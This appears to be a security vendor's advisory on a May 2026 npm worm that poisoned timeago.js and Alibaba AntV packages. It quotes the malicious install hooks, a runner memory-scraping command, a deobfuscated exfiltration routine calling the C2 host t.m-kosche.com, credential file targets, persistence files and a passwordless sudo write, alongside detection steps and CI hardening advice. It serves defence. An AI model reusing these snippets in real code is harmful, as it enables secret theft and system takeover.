On May 19, 2026, a threat actor compromised the npm account behind timeago.js and Alibaba’s AntV data visualisation suite, then used it to push malicious versions of 323 packages in a 22-minute window. The payload reads the GitHub Actions runner’s process memory to extract every masked CI/CD secret in plaintext, sweeps over 130 credential file paths on the host filesystem, and exfiltrates everything through two channels: a dead-drop in a legitimate GitHub repository and a command-and-control server disguised as an OpenTelemetry endpoint. Over 2,200 public GitHub repositories have already been created using stolen tokens, each one representing a confirmed credential theft.

If you installed any affected package in a CI/CD pipeline, treat all secrets accessible in that environment as compromised and rotate them immediately.


What Happened

The npm account atool (email [email protected]) publishes timeago.js, a relative-time formatting library with 1.5 million weekly downloads, and holds maintainer access across the @antv namespace. AntV is Alibaba’s open-source data visualisation suite, covering charting (@antv/g2, @antv/g2plot), graph visualisation (@antv/g6), mapping (@antv/l7), 2D/3D rendering (@antv/g), and spreadsheet rendering (@antv/s2). The packages collectively receive around 16 million weekly downloads. Many of the environments that install these packages — data engineering pipelines, financial dashboards, React front-end builds — run inside GitHub Actions workflows that hold cloud credentials and deployment tokens.

The account was compromised on May 19. The attacker published malicious versions in two coordinated waves:

  • Wave 1 (01:56 UTC): First malicious version of each affected package published. The preinstall hook installs Bun if it is not already present, then runs the payload.
  • Wave 2 (02:06 UTC): A second set of versions published ten minutes later, this time with Bun listed as an explicit npm dependency rather than installed at runtime, making delivery more reliable across environments where the runtime install might fail silently.

The double-publish pattern — incrementing the minor version by one each wave — is deliberate. It increases the chance that at least one version reaches a lockfile update or npm install run before the campaign is detected, and makes the version bumps look routine.


How the Packages Were Poisoned

The attacker used two distinct injection patterns. Both run the same payload; they differ only in how they trigger it.

Pattern A: direct install hook. The most common pattern. A preinstall or postinstall script is added directly to the package’s package.json:

"scripts": {
  "preinstall": "node -e \"require('child_process').spawnSync('bun',['run','index.js'],{stdio:'inherit'})\""
}

The hook fires the moment the package is installed. This pattern was used across most @antv/* packages.

Pattern B: poisoned git dependency. A more sophisticated pattern, used in echarts-for-react and others. A single field is added to package.json that points at a poisoned commit inside the legitimate antvis/G2 GitHub repository:

"optionalDependencies": {
  "@antv/setup": "github:antvis/G2#7cb42f57561c321ecb09b4552802ae0ac55b3a7a"
}

That commit’s package.json contains a prepare hook:

{
  "name": "@antv/setup",
  "scripts": { "prepare": "bun run index.js && exit 1" },
  "dependencies": { "bun": "*" }
}

The prepare hook fires automatically when npm resolves the git dependency. The && exit 1 causes the optional dependency to fail gracefully, leaving minimal traces in logs while the payload has already executed in the background. Because the dependency resolves to a trusted GitHub organisation (antvis) and no scripts entry appears in the published tarball itself, static analysis tools that inspect scripts fields in published packages miss this pattern entirely.


What the Payload Does

The payload is a 486–498 KB obfuscated JavaScript file executed by the Bun runtime. It immediately forks itself into a background process using a __DAEMONIZED=1 environment variable as a re-entry guard, so npm install completes with no visible error and no indication that anything has run.

Runner memory scraping. The most significant capability targets GitHub Actions runners directly. The payload locates the Runner.Worker process by scanning /proc/[pid]/cmdline, then reads its memory via /proc/[pid]/mem and pipes the dump through:

tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u

This extracts every secret the runner holds — GITHUB_TOKEN, repository secrets, environment secrets, and organisation secrets scoped to that repository — all in plaintext. Log masking is irrelevant: the secrets are read from memory before they reach any log output. The complete execution chain in an affected echarts-for-react install looks like this:

npm install [email protected]
  └─ node — resolves github:antvis/G2#7cb42f5..., installs bun
      └─ dash — prepare hook fires
          └─ bun.exe — runs index.js
              ├─ gh — GitHub CLI reconnaissance
              ├─ sudo
              │   └─ python3.12 — reads /proc/2175/mem (Runner.Worker)
              └─ dash
                  ├─ tr — strips null bytes
                  ├─ grep — extracts isSecret:true fields
                  └─ sort — deduplicates

Environment variable theft. When running in a CI environment (detected via GITHUB_ACTIONS, CIRCLECI, TRAVIS, BUILDKITE, and 15 other signals), the payload reads these variables directly: GITHUB_TOKEN, ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_RUNTIME_TOKEN, NPM_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, VAULT_TOKEN, KUBECONFIG.

Credential file harvest. The payload sweeps over 130 file paths on the local filesystem:

CategoryPaths
Cloud~/.aws/credentials, ~/.config/gcloud/credentials.db, ~/.azure/accessTokens.json, ~/.terraform.d/credentials.tfrc.json
SSH~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/config
Dev tokens~/.npmrc, ~/.pypirc, ~/.netrc, .git-credentials, ~/.docker/config.json
Kubernetes / Vault~/.kube/config, ~/.vault-token
Crypto wallets~/.bitcoin/wallet.dat, ~/.ethereum/keystore/*, ~/.electrum/wallets/*
AI tooling~/.claude.json, ~/.claude/mcp.json

Exfiltration. Stolen data is encrypted with a PBKDF2-derived key (200,000 iterations, SHA-256), unique to each payload instance, then sent through two channels:

Primary — GitHub API dead-drop: Encrypted data is committed to a branch in the legitimate antvis/G2 GitHub repository via the REST API, using a spoofed python-requests/2.31.0 User-Agent. This routes exfiltration through a trusted domain that most organisations do not block.

Fallback — direct C2: The payload connects to t.m-kosche.com:443 at the path api/public/otel/v1/traces. That path impersonates an OpenTelemetry collector endpoint, because many organisations allow observability traffic by path pattern. The deobfuscated routing logic makes the intent explicit:

async function exfiltrate() {
    const conn = {
        domain: 't.m-kosche.com',
        port: 443,
        path: 'api/public/otel/v1/traces'
    };
    if (process.env.SKIP_DOMAIN === 'true') {
        return sendViaGithubApi(data);
    } else {
        return sendViaTls(conn);
    }
}

Persistence. The payload drops backdoor files into several locations that re-execute on subsequent tool invocations:

  • .claude/settings.json — injects a SessionStart hook that re-runs the malware on every Claude Code session start
  • .vscode/tasks.json — adds a folderOpen task that re-runs the payload every time VS Code opens the project
  • .github/workflows/codeql.yml — injects a GitHub Actions workflow that exfiltrates all repository secrets on push and deployment events

Removing the affected packages without removing these files leaves the backdoor in place.

Privilege escalation. On Linux CI runners, the payload attempts to write a passwordless sudo rule:

echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner && chmod 0440 /mnt/runner

This grants the runner user full root access, enabling the attacker to escalate from the CI service account to the host system in any subsequent operation.


This Is a Worm

The attack does not stop at the initial compromise. Once the payload extracts an npm publish token from the environment, it enumerates every package that token has write access to and publishes poisoned versions of each. Each poisoned version carries the same payload, which steals credentials from whoever installs it and spreads further.

This is why a single compromised account produced 323 affected packages. The worm maps the victim’s publish permissions and propagates automatically, without any additional attacker intervention.

Over 2,200 public GitHub repositories have been created using stolen tokens. Each is named with two terms drawn from Frank Herbert’s Dune universe and carries the description niagA oG eW ereH :duluH-iahS, which reads forward as “Shai-Hulud: Here We Go Again.” This is both the attacker’s campaign signature and a real-time counter of confirmed credential thefts: each repository represents at least one environment whose secrets were successfully exfiltrated and used.


Part of an Ongoing Campaign

This is not an isolated incident. The same threat group, tracked as TeamPCP, has run three previous operations in 2026 using the same toolchain:

March 2026 — Trivy GitHub Action. The attacker force-pushed malicious code to 75 of the 76 version tags of Aqua Security’s Trivy container scanning Action. Every pipeline that ran a Trivy scan during the window had its secrets stolen. Stolen credentials were subsequently used to compromise PyPI packages including LiteLLM.

April 2026 — Bitwarden CLI. The Bitwarden CLI npm package was poisoned in a supply chain attack. The payload specifically targeted credentials for AI coding tools.

May 11, 2026 — TanStack. The attacker created a fork of the TanStack router repository, opened a pull request that triggered a pull_request_target workflow, and used it to poison the GitHub Actions cache with a malicious pnpm store. When legitimate maintainer PRs were later merged and the release workflow ran, it restored the poisoned cache. The attacker extracted OIDC tokens directly from runner process memory, used them to publish 84 malicious versions across 42 @tanstack/* packages, and introduced what appears to be the first documented supply chain attack carrying valid SLSA provenance.

Each wave has been more technically sophisticated than the last. The TanStack attack introduced cache poisoning and SLSA forgery. The AntV attack added the optionalDependencies git-reference delivery pattern to bypass static analysis of published tarballs.


Affected Packages

The following packages have confirmed malicious versions. The malicious versions were published between 01:56 and 02:18 UTC on May 19, 2026.

PackageMalicious versions
timeago.js4.1.2, 4.2.2
timeago-react3.1.7, 3.2.7
echarts-for-react3.0.7, 3.1.7, 3.2.7
jest-canvas-mock2.5.3, 2.6.3, 2.7.3
jest-date-mock1.0.11, 1.1.11, 1.2.11
All @antv/* packagesAny version published during the attack window

323 packages in total are affected. Pin to the version immediately preceding the first compromised release while clean versions are confirmed upstream.


Are You Affected?

Check your lockfiles. Search for affected packages across your dependency tree:

# npm
grep -E "@antv/|echarts-for-react|timeago|jest-canvas-mock|jest-date-mock|size-sensor|lint-md" \
  package-lock.json | grep -v node_modules

# pnpm
grep -E "@antv/|echarts-for-react|timeago|jest-canvas-mock|jest-date-mock|size-sensor|lint-md" \
  pnpm-lock.yaml

# yarn
grep -E "@antv/|echarts-for-react|timeago|jest-canvas-mock|jest-date-mock|size-sensor|lint-md" \
  yarn.lock

Cross-reference resolved versions against the table above.

Check for the malicious file in node_modules:

# Injected payload: anomalously large index.js at the package root
find node_modules -name "index.js" -size +400k -type f 2>/dev/null

# Pattern B delivery: poisoned optional dependency reference
grep -r "@antv/setup" node_modules/*/package.json 2>/dev/null

Check your CI/CD logs for:

  • References to @antv/setup during dependency resolution
  • bun run index.js in process output
  • Outbound network connections to t.m-kosche.com
  • python3 processes reading /proc/*/mem
  • GitHub API requests with User-Agent python-requests/2.31.0 originating from a runner
  • Unexpected commits, branches, or repositories in your GitHub organisation created in the last 48 hours

Immediate Response

If a CI/CD pipeline installed a compromised version:

Rotate everything the runner had access to. The runner memory scraper extracts all secrets the runner holds, including masked ones. This means GITHUB_TOKEN, repository and environment secrets, organisation secrets scoped to that repository, ACTIONS_ID_TOKEN_REQUEST_TOKEN, and any cloud credentials passed as environment variables. Do not wait to confirm which specific secrets were accessed — assume all of them were.

Audit GitHub for unauthorised activity: unexpected commits, new branches, new repositories, and modified workflow files created in the last 48 hours. Any repository with Dune-universe naming and the reversed campaign string in its description is a confirmed indicator that credentials from your environment were used.

Review your npm token list (npm token list) and revoke any token you do not recognise.

Check whether any packages you publish may have been affected by downstream propagation. If your CI published a package during a build that installed a compromised version, that published package may carry the payload.

If a developer machine installed a compromised version:

Remove persistence artifacts before rotating credentials. Otherwise the malware will re-harvest them on the next tool invocation:

# Remove Claude Code persistence
rm -f .claude/setup.mjs
git diff .claude/settings.json  # restore from version control if modified

# Remove VS Code persistence
rm -f .vscode/setup.mjs
git diff .vscode/tasks.json     # restore from version control if modified

# Check for injected GitHub Actions workflow
git diff .github/workflows/codeql.yml

Then rotate npm tokens, GitHub personal access tokens, cloud credentials, and SSH keys. If cryptocurrency wallet files were present on the machine, move funds to a new wallet immediately — the payload explicitly targets these paths.

Delete node_modules and reinstall from a clean lockfile:

rm -rf node_modules && npm ci

Hardening GitHub Actions Against This Class of Attack

The runner memory scraping technique and the TanStack cache-poisoning attack both exploit weaknesses in how GitHub Actions workflows are configured. These are not zero-days — they are misconfigurations that can be fixed today.

1. Set workflow permissions to read-only by default.

The GITHUB_TOKEN defaults to write access on many repositories. Restrict it at the workflow level and elevate only where a specific job actually needs it:

permissions:
  contents: read

jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      contents: write   # only the job that publishes needs write
      packages: write

2. Use OIDC instead of static secrets for cloud access.

Static credentials stored as repository secrets are a permanent target. An OIDC token is short-lived, scoped to a specific workflow run, and expires before an attacker can pivot with it. Configure your cloud provider to trust tokens only from specific repositories, branches, and environments.

permissions:
  id-token: write
  contents: read

steps:
  - name: Configure AWS credentials
    uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789012:role/my-deploy-role
      aws-region: eu-west-2

3. Pin all third-party actions to a full commit SHA.

Version tags can be force-pushed — the Trivy attack replaced 75 version tags silently. A commit SHA is immutable. Use Dependabot to keep pinned SHAs updated without sacrificing the security property.

# Vulnerable — tag can be silently replaced
- uses: actions/checkout@v4

# Safe — SHA cannot be changed after the fact
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

4. Never check out and execute fork code in a pull_request_target workflow.

pull_request_target runs with access to repository secrets. The TanStack attack exploited a workflow that checked out a pull request from a fork and ran it in this privileged context. Use pull_request instead — it runs in a restricted sandbox without secrets access. If you need both secrets and code from the same run, split them: a pull_request workflow builds and uploads an artifact; a workflow_run workflow downloads that artifact and runs in the privileged context.

# Dangerous: fork code executes with secrets access
on: pull_request_target
steps:
  - uses: actions/checkout@...
    with:
      ref: ${{ github.event.pull_request.head.sha }}
  - run: npm install && npm test   # attacker controls this code

5. Pass secrets only to the steps that need them.

A compromised dependency running as a postinstall hook can read environment variables from the parent process. Do not set secrets at the job level if only one step requires them.

# Broad: every step in the job sees NPM_TOKEN
env:
  NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

# Narrower: only the publish step sees it
steps:
  - name: Publish
    run: npm publish
    env:
      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

6. Use npm ci instead of npm install in CI.

npm ci requires a lockfile and installs exactly what it specifies. npm install will update the lockfile when dependencies have changed, making it possible to pull in a newly published malicious version without an explicit version bump in your code.

- run: npm ci   # not npm install

7. Consider disabling lifecycle scripts during install.

npm lifecycle hooks (preinstall, postinstall, prepare) are the primary delivery mechanism for Pattern A in this campaign. For CI builds that do not require native compiled modules, disabling them removes the attack vector entirely:

- run: npm ci --ignore-scripts

This breaks packages that require a build step at install time. Test it against your dependency tree before applying it broadly. Where it works, it is a meaningful risk reduction.

8. Isolate the Actions cache by branch.

The TanStack attack poisoned the cache by writing to it from a fork pull request, which a privileged workflow then restored. Cache keys that include the branch name prevent writes from untrusted branches from affecting the main build cache. Do not use restore keys that fall back to a cache written by a different or external branch.

- uses: actions/cache@...
  with:
    key: ${{ runner.os }}-deps-${{ github.ref_name }}-${{ hashFiles('**/package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-deps-${{ github.ref_name }}-

9. Restrict outbound network access from runners where possible.

Both exfiltration channels in this attack required outbound HTTPS: to api.github.com and to t.m-kosche.com. Self-hosted runners can be placed behind a proxy or firewall that enforces an allowlist of permitted destinations. GitHub-hosted runners do not support this natively, but the upcoming GitHub Actions workflow lockfile (the dependencies: section in workflow YAML) will provide an equivalent control for action dependencies. Consider self-hosted or hardened runner configurations for workflows that handle production credentials.


Indicators of Compromise

Network:

  • Outbound HTTPS to t.m-kosche.com (port 443, path /api/public/otel/v1/traces)
  • GitHub API requests with User-Agent python-requests/2.31.0 from runner hosts

Process:

  • bun.exe spawned during or after npm install
  • python3 reading /proc/[pid]/mem in CI

Filesystem:

  • node_modules/<package>/index.js files larger than 400 KB
  • @antv/setup references in node_modules/*/package.json
  • Modified .claude/settings.json, .vscode/tasks.json, or .github/workflows/codeql.yml not matching version control

GitHub:

  • Repositories with Dune-universe names and description containing niagA oG eW ereH :duluH-iahS
  • Commits authored as python-requests/2.31.0 or with message chore: update dependencies from unfamiliar accounts

Conclusion

This campaign is technically mature and it is accelerating. The runner memory scraping bypasses log masking. The optionalDependencies git-reference delivery pattern bypasses static analysis of published tarballs. The self-propagating worm turns a single compromised maintainer account into hundreds of poisoned packages in minutes. And the campaign is not finished — the number of affected repositories is still climbing.

The GitHub Actions hardening measures above address the underlying conditions that make this class of attack effective: overprivileged tokens, static long-lived credentials, unpinned actions, and insufficient isolation between trusted and untrusted code. None of these require new tooling. They are workflow configuration changes that can be applied today, before the next wave.

Not sure how exposed your CI/CD pipelines are?

We help teams audit and harden GitHub Actions workflows against supply chain attacks — pinning actions, scoping secrets, replacing static credentials with OIDC, and reviewing the isolation between trusted and fork-sourced code.

Get in touch →

References